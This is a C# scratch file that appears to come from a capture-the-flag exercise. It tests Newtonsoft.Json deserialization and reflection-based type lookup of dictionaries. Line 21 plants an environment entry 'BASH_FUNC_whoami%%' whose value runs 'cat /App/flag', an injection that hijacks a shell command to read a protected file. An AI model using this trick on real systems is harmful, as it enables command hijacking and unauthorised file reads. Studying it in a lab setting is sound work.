Program.cs (1699B)
1using Newtonsoft.Json; 2 3namespace Program { 4 5class Program { 6static Type GetTypeByName(String name) { 7 return AppDomain.CurrentDomain.GetAssemblies() 8 .Reverse() 9 .Select(assembly => assembly.GetType(name)) 10 .FirstOrDefault(t => t != null); 11} 12 13public String testfn(Dictionary<String,String> ina) { 14 Console.WriteLine(this); 15 return "Testing"; 16} 17 18static void Main(String[] args) { 19// See https://aka.ms/new-console-template for more information 20 var env = new Dictionary<String, String>(); 21 env.Add("BASH_FUNC_whoami%%", "cat /App/flag"); 22 String serialized = JsonConvert.SerializeObject(env); 23 Console.WriteLine(">",GetTypeByName("System.Collections.Generic.Dictionary`2[System.String,System.String]")); 24 Console.WriteLine(">",GetTypeByName("System.Collections.Generic.Dictionary[System.String, System.String]")); 25 Console.WriteLine(">",GetTypeByName("Dictionary<String,String>")); 26 Console.WriteLine(">",GetTypeByName("System.Collections.Generic.Dictionary")); 27 Console.WriteLine(">",GetTypeByName("System.Collections.Generic.Dictionary<System.String,System.String>")); 28 Console.WriteLine(">",AppDomain.CurrentDomain.GetAssemblies().ToString()); 29 var test = JsonConvert.DeserializeObject(serialized, GetTypeByName("System.Collections.Generic.Dictionary")); 30 var array = "[" + test + "]"; 31 var test2 = JsonConvert.DeserializeObject<object[]>(array); 32 var test3 = JsonConvert.DeserializeObject(JsonConvert.SerializeObject(test2), GetTypeByName("Dictionary<String, String>")); 33 34 var program = new Program(); 35 program.GetType().GetMethod("testfn").Invoke(program, [test]); 36 Console.WriteLine(test); 37 Console.WriteLine(test2); 38 Console.WriteLine(test3); 39 Console.WriteLine(serialized); 40} 41} 42}